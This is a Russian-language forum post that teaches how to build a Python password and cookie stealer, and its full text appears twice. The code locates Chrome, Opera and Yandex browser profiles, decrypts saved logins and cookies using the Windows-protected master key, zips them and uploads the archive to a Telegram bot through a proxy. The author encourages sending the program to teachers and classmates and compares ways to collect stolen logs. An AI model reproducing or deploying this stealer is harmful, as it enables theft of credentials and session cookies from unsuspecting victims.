- Автор темы
- #1
В этой статье будет показано, рассказано, и доказано, как написать свой стиллер на Python-e
Для работы нам понадобятся:
1)Python последней версии (необязательно, но лучше всегда качать свежую версию), прямая ссылка на скачивание последней (на момент написания статьи) версии
https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe
2)Также потребуется среда разработки, для питона, лучшей и самой (как по мне) средой является Pycharm скачать вы его можете с официального сайта JetBrains
https://www.jetbrains.com/ru-ru/pycharm/download/download-thanks.html?platform=windows&code=PCC
1)качаете питон, устанавливаете с правами админа.
2)качаете среду, устанавливаете, запускаете.
Запускаем Pycharm, если еще не запустили.
Видим такое окно.
Жмем Create Project
Выбираем название нашего проекта, питон на компьютере (если вы его установили) среда найдет автоматически
Жмем create
Поздравляю, проект создан
После прогрузки и создания проекта переходим в File -> Setting -> Project Iterpreter
Жмем плюсик с правой стороны окна и ****аем в поиск requests, там на автомате у вас выберется нужная библиотека, жмете install package
Также делаем со следующими библиотеками:
-pyasn1
-rsa
-pycryptodome
-pywin32
-psutil
Теперь жмем на папку слева правой кнопкой мыши new -> python file -> выбираете имя вашего файла и создаете его
Поздравляю, самое сложное позади.
Импортируем следующие библиотеки
import os
import sqlite3
import zipfile
import requests
from ctypes import *
from winreg import *
from json import load
from os import listdir
from shutil import copy
from struct import calcsize
from base64 import b64decode
from Crypto.Cipher import AES
from psutil import process_iter
from win32api import GetModuleHandle
from win32crypt import CryptUnprotectData
Обозначаем точку входа программы
знаю что она необязательна, мне просто нравится ее писать
code
if __name__ == "__main__":
теперь составляем дефолтные пути до браузеров
chromium_browsers = {
u'google chrome': os.getenv("LOCALAPPDATA") + r'\Google\Chrome\User Data',
u'opera': os.getenv("APPDATA") + r'\Opera Software\Opera Stable',
u'yandexBrowser': os.getenv("LOCALAPPDATA") + r'\Yandex\YandexBrowser\User Data'
}
Ищем базы, расшифровываем, сохраняем.
Все обьяснения будут в виде комментариев в коде, иначе до конца никто не дочитает
PasswordsArray = []#Здесь будут логины пароли
CookiesDict = {}#Тут будут куки в формате browser : [cookArray]
def db_dirs(path):#Передаем путь к браузеру
databases = set()#Обьявляем список
profiles_path = os.path.join(path, u'Local State')#
if os.path.exists(profiles_path):#
profiles = {'Default', ''}#
for dirs in os.listdir(path):#Ищет профили
dirs_path = os.path.join(path, dirs)#
if os.path.isdir(dirs_path) and dirs.startswith('Profile'):#
profiles.add(dirs)#
with open(profiles_path) as f:
try:
data = load(f)
profiles |= set(data['profile']['info_cache'])#Нужно для получения мастер-ключа
except Exception:
pass
with open(profiles_path) as f:
try:
master_key = b64decode(load(f)["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]#О, мастер-ключ
except Exception:
master_key = None
for profile in profiles:
try:
db_files = os.listdir(os.path.join(path, profile))
except Exception:
continue
for db in db_files:
if db.lower() in ['login data','cookies']:
databases.add((os.path.join(path, profile, db), master_key))#Возвращаем пути до всех бд которые удалось найти
return databases
def decryption(buff, key):#Нужна для декрипта, просто скопипасть, не парься
payload = buff[15:]
iv = buff[3:15]
cipher = AES.new(key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def passwords(name, path, database_path, master_key):#Ну пароли дешифрует, чо, какие вопросы
copy(path, database_path)
cursor = sqlite3.connect(database_path).cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
url = result[0]
login = result[1]
try:
password = decryption(result[2], master_key)
except Exception:
password = "Error"
if url and login and password != '':
PasswordsArray.append(
'Browser: ' + name + '\nLink: ' + url + '\nLogin: ' + login + '\nPassword: ' + password + '\n')
def cookies(name, path, database_path, master_key):
Cookies = [] #Куки добавляются сюда
copy(path, database_path)#Копируем базу
cursor = sqlite3.connect(database_path).cursor()#Коннектимся к базе
cursor.execute("SELECT * from cookies")#Читаем куки
for result in cursor.fetchall():
try:
cookie = decryption(result[12], master_key)#Декриптим куки
except Exception:
return
cookie_name = result[2]
exp = result[5]
if result[6]:#Достаем значения для записи в net-scape формат
secure = "TRUE"
else:
secure = "FALSE"
if result[7]:
isHttp = "TRUE"
else:
isHttp = "FALSE"
path = result[4]
url = result[1].replace("https://", "").replace("http://", "").split("/")[0]
Cookies.append((url + "\t" + secure + "\t" + path + "\t" + isHttp + "\t" + str(#Записываем куки в net-scape формате
exp / 1000000) + "\t" + cookie_name + "\t" + str(cookie)))
for i in range(0, 100):
if i >= 1:
if name + str(i) in CookiesDict:#короч эта штука
continue#если найдено несколько профилей
else:
CookiesDict[name + str(i)] = Cookies#то записывает куки
break
else:
if name in CookiesDict:#с одного браузера
continue
else:
CookiesDict[name] = Cookies#В разные текстовики
break
def helper(name, path, database_path, master_key):
if database_path.endswith("Cookies"):#Оп, куки
copyPath = path + '\Backup Cookies'#Копируем бд, ибо читать из оригинала, когда запущен браузер, нельзя
cookies(name, database_path, copyPath, master_key)#Дешифруем куки
if database_path.endswith("Login Data"):#Оп, пароли
copyPath = path + '\Backup Password'
passwords(name, database_path, copyPath, master_key)#Дешифруем пароли
if __name__ == "__main__": #Точка входа в программу
chromium_browsers = { #Пути до браузеров
u'google chrome': os.getenv("LOCALAPPDATA") + r'\Google\Chrome\User Data', #Хром
u'opera': os.getenv("APPDATA") + r'\Opera Software\Opera Stable'}#Опера
}
for browser, path in chromium_browsers.items():
if os.path.exists(path):#Есть ли браузер
for database_path, master_key in db_dirs(path):#Функция поиска баз и мастер-ключа
helper(browser, path, database_path, master_key)#Отправляет куки в декод куков, пароли в декод паролей
try:
os.makedirs(os.getenv("TEMP") + '\\Debug\\')#Здесь будет наш архив
except OSError:
pass
path_main = os.getenv("TEMP") + '\\Debug\\'
zipload = zipfile.ZipFile(os.path.join(path_main, "MyZip" + ".zip"), 'w')#Создаем архив и насовываем ему наши данные
if (len(PasswordsArray) > 0):
file = open(os.path.join(path_main, "Passwords.txt"), "w+", encoding='utf-8')
file.write("\n".join(PasswordsArray))#Пишем пароли в текстовик
file.close()
zipload.write(os.path.join(path_main, "Passwords.txt"),
"\\Browsers\\" + os.path.basename(os.path.join(path_main, "Passwords.txt")))#Суем текстовик в архив, ниже кста также
if (len(CookiesDict) > 0):
for browser, cooks in CookiesDict.items():
file = open(path_main + "\\" + browser + ".txt", "w+", encoding='utf-8')
file.write("\n".join(cooks))
file.close()
zipload.write(path_main + "\\" + browser + ".txt", "\\Cookies\\" + browser + ".txt")
zipload.close()
Отлично, мы получили куки и пароли, упаковали все в архив, осталась только отправка.
Здесь стоит остановиться, есть несколько путей:
1)Разобраться в апи какого то файлообменника (Google Disk, Yandex Disk, DropBox и тд), минус в том что если вытащат ваши данные от апи, по типу токена, тогда можете попрощаться со своими логами
2)Принимать лог себе на панель установленную на хостинге или на Дедике, самый надежный вариант, не забудьте проставить права доступа к файлам на своем хостинге. Минус в том что, если на вас будут поступать жалобы или вы возьмете публичную панель с интернета, то в первом случае вас забанят через время, во втором случае вас могут забанить перманентно и в тот же момент
3)Отправлять логи в телеграмм через прокси, хороший вариант, но есть свои минусы, почти любой может увидеть ваш токен, через тот же вирустотал, во вкладке отвечающей за взаимодействие с сетью. Лучшим решением будет отправлять лог на панель и пересылать в ваш телеграмм.
Если вы делаете для себя и хотите кидать данное ПО своим учителям и девкам с класса, то спокойно можете отправлять напрямую себе в телеграмм, в данной статье я покажу именно этот способ отправки и расскажу как обойти бан телеграмма в России
Для обхода бана телеграмма, нам нужно устанавливать соединение через прокси. Идете на любой сайт с бесплатными проксями и берете парочку, я буду показывать на примере https проксей
Также нужно будет создать бота в телеге и написать ему /start, это уже сами нагуглите
zipPath = os.path.join(path_main, "myZip" + ".zip")
token = "w123344bukvi2847982498cifriokicejo"
chat_id = "tvoychatid-ego-mojno-uznat-u-specialnix-botov"
proxy_array = ["198.27.69.175:3128"}#Твоя прокся
data = {'chat_id': chat_id}
r = requests
files = {'document': open(zipPath, 'rb')}
response = r.post("https://api.telegram.org/bot" + token + "/sendDocument", files=files, data=data,#Отправляем и никаких лишних библиотек
proxies={'https': 'https://' + proxy}, timeout=(1, 10))
Поздравляю, вы отправили лог себе в телеграмм, впервые рады звуку уведомления?

Для работы нам понадобятся:
1)Python последней версии (необязательно, но лучше всегда качать свежую версию), прямая ссылка на скачивание последней (на момент написания статьи) версии
https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe
2)Также потребуется среда разработки, для питона, лучшей и самой (как по мне) средой является Pycharm скачать вы его можете с официального сайта JetBrains
https://www.jetbrains.com/ru-ru/pycharm/download/download-thanks.html?platform=windows&code=PCC
1)качаете питон, устанавливаете с правами админа.
2)качаете среду, устанавливаете, запускаете.

Запускаем Pycharm, если еще не запустили.
Видим такое окно.

Жмем Create Project
Выбираем название нашего проекта, питон на компьютере (если вы его установили) среда найдет автоматически
Жмем create
Поздравляю, проект создан

После прогрузки и создания проекта переходим в File -> Setting -> Project Iterpreter

Жмем плюсик с правой стороны окна и ****аем в поиск requests, там на автомате у вас выберется нужная библиотека, жмете install package

Также делаем со следующими библиотеками:
-pyasn1
-rsa
-pycryptodome
-pywin32
-psutil
Теперь жмем на папку слева правой кнопкой мыши new -> python file -> выбираете имя вашего файла и создаете его

Поздравляю, самое сложное позади.

Импортируем следующие библиотеки
import os
import sqlite3
import zipfile
import requests
from ctypes import *
from winreg import *
from json import load
from os import listdir
from shutil import copy
from struct import calcsize
from base64 import b64decode
from Crypto.Cipher import AES
from psutil import process_iter
from win32api import GetModuleHandle
from win32crypt import CryptUnprotectData
Обозначаем точку входа программы
знаю что она необязательна, мне просто нравится ее писать
code
if __name__ == "__main__":
теперь составляем дефолтные пути до браузеров
chromium_browsers = {
u'google chrome': os.getenv("LOCALAPPDATA") + r'\Google\Chrome\User Data',
u'opera': os.getenv("APPDATA") + r'\Opera Software\Opera Stable',
u'yandexBrowser': os.getenv("LOCALAPPDATA") + r'\Yandex\YandexBrowser\User Data'
}
Ищем базы, расшифровываем, сохраняем.
Все обьяснения будут в виде комментариев в коде, иначе до конца никто не дочитает
PasswordsArray = []#Здесь будут логины пароли
CookiesDict = {}#Тут будут куки в формате browser : [cookArray]
def db_dirs(path):#Передаем путь к браузеру
databases = set()#Обьявляем список
profiles_path = os.path.join(path, u'Local State')#
if os.path.exists(profiles_path):#
profiles = {'Default', ''}#
for dirs in os.listdir(path):#Ищет профили
dirs_path = os.path.join(path, dirs)#
if os.path.isdir(dirs_path) and dirs.startswith('Profile'):#
profiles.add(dirs)#
with open(profiles_path) as f:
try:
data = load(f)
profiles |= set(data['profile']['info_cache'])#Нужно для получения мастер-ключа
except Exception:
pass
with open(profiles_path) as f:
try:
master_key = b64decode(load(f)["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]#О, мастер-ключ
except Exception:
master_key = None
for profile in profiles:
try:
db_files = os.listdir(os.path.join(path, profile))
except Exception:
continue
for db in db_files:
if db.lower() in ['login data','cookies']:
databases.add((os.path.join(path, profile, db), master_key))#Возвращаем пути до всех бд которые удалось найти
return databases
def decryption(buff, key):#Нужна для декрипта, просто скопипасть, не парься
payload = buff[15:]
iv = buff[3:15]
cipher = AES.new(key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def passwords(name, path, database_path, master_key):#Ну пароли дешифрует, чо, какие вопросы
copy(path, database_path)
cursor = sqlite3.connect(database_path).cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
url = result[0]
login = result[1]
try:
password = decryption(result[2], master_key)
except Exception:
password = "Error"
if url and login and password != '':
PasswordsArray.append(
'Browser: ' + name + '\nLink: ' + url + '\nLogin: ' + login + '\nPassword: ' + password + '\n')
def cookies(name, path, database_path, master_key):
Cookies = [] #Куки добавляются сюда
copy(path, database_path)#Копируем базу
cursor = sqlite3.connect(database_path).cursor()#Коннектимся к базе
cursor.execute("SELECT * from cookies")#Читаем куки
for result in cursor.fetchall():
try:
cookie = decryption(result[12], master_key)#Декриптим куки
except Exception:
return
cookie_name = result[2]
exp = result[5]
if result[6]:#Достаем значения для записи в net-scape формат
secure = "TRUE"
else:
secure = "FALSE"
if result[7]:
isHttp = "TRUE"
else:
isHttp = "FALSE"
path = result[4]
url = result[1].replace("https://", "").replace("http://", "").split("/")[0]
Cookies.append((url + "\t" + secure + "\t" + path + "\t" + isHttp + "\t" + str(#Записываем куки в net-scape формате
exp / 1000000) + "\t" + cookie_name + "\t" + str(cookie)))
for i in range(0, 100):
if i >= 1:
if name + str(i) in CookiesDict:#короч эта штука
continue#если найдено несколько профилей
else:
CookiesDict[name + str(i)] = Cookies#то записывает куки
break
else:
if name in CookiesDict:#с одного браузера
continue
else:
CookiesDict[name] = Cookies#В разные текстовики
break
def helper(name, path, database_path, master_key):
if database_path.endswith("Cookies"):#Оп, куки
copyPath = path + '\Backup Cookies'#Копируем бд, ибо читать из оригинала, когда запущен браузер, нельзя
cookies(name, database_path, copyPath, master_key)#Дешифруем куки
if database_path.endswith("Login Data"):#Оп, пароли
copyPath = path + '\Backup Password'
passwords(name, database_path, copyPath, master_key)#Дешифруем пароли
if __name__ == "__main__": #Точка входа в программу
chromium_browsers = { #Пути до браузеров
u'google chrome': os.getenv("LOCALAPPDATA") + r'\Google\Chrome\User Data', #Хром
u'opera': os.getenv("APPDATA") + r'\Opera Software\Opera Stable'}#Опера
}
for browser, path in chromium_browsers.items():
if os.path.exists(path):#Есть ли браузер
for database_path, master_key in db_dirs(path):#Функция поиска баз и мастер-ключа
helper(browser, path, database_path, master_key)#Отправляет куки в декод куков, пароли в декод паролей
try:
os.makedirs(os.getenv("TEMP") + '\\Debug\\')#Здесь будет наш архив
except OSError:
pass
path_main = os.getenv("TEMP") + '\\Debug\\'
zipload = zipfile.ZipFile(os.path.join(path_main, "MyZip" + ".zip"), 'w')#Создаем архив и насовываем ему наши данные
if (len(PasswordsArray) > 0):
file = open(os.path.join(path_main, "Passwords.txt"), "w+", encoding='utf-8')
file.write("\n".join(PasswordsArray))#Пишем пароли в текстовик
file.close()
zipload.write(os.path.join(path_main, "Passwords.txt"),
"\\Browsers\\" + os.path.basename(os.path.join(path_main, "Passwords.txt")))#Суем текстовик в архив, ниже кста также
if (len(CookiesDict) > 0):
for browser, cooks in CookiesDict.items():
file = open(path_main + "\\" + browser + ".txt", "w+", encoding='utf-8')
file.write("\n".join(cooks))
file.close()
zipload.write(path_main + "\\" + browser + ".txt", "\\Cookies\\" + browser + ".txt")
zipload.close()
Отлично, мы получили куки и пароли, упаковали все в архив, осталась только отправка.
Здесь стоит остановиться, есть несколько путей:
1)Разобраться в апи какого то файлообменника (Google Disk, Yandex Disk, DropBox и тд), минус в том что если вытащат ваши данные от апи, по типу токена, тогда можете попрощаться со своими логами
2)Принимать лог себе на панель установленную на хостинге или на Дедике, самый надежный вариант, не забудьте проставить права доступа к файлам на своем хостинге. Минус в том что, если на вас будут поступать жалобы или вы возьмете публичную панель с интернета, то в первом случае вас забанят через время, во втором случае вас могут забанить перманентно и в тот же момент
3)Отправлять логи в телеграмм через прокси, хороший вариант, но есть свои минусы, почти любой может увидеть ваш токен, через тот же вирустотал, во вкладке отвечающей за взаимодействие с сетью. Лучшим решением будет отправлять лог на панель и пересылать в ваш телеграмм.
Если вы делаете для себя и хотите кидать данное ПО своим учителям и девкам с класса, то спокойно можете отправлять напрямую себе в телеграмм, в данной статье я покажу именно этот способ отправки и расскажу как обойти бан телеграмма в России

Для обхода бана телеграмма, нам нужно устанавливать соединение через прокси. Идете на любой сайт с бесплатными проксями и берете парочку, я буду показывать на примере https проксей
Также нужно будет создать бота в телеге и написать ему /start, это уже сами нагуглите
zipPath = os.path.join(path_main, "myZip" + ".zip")
token = "w123344bukvi2847982498cifriokicejo"
chat_id = "tvoychatid-ego-mojno-uznat-u-specialnix-botov"
proxy_array = ["198.27.69.175:3128"}#Твоя прокся
data = {'chat_id': chat_id}
r = requests
files = {'document': open(zipPath, 'rb')}
response = r.post("https://api.telegram.org/bot" + token + "/sendDocument", files=files, data=data,#Отправляем и никаких лишних библиотек
proxies={'https': 'https://' + proxy}, timeout=(1, 10))
Поздравляю, вы отправили лог себе в телеграмм, впервые рады звуку уведомления?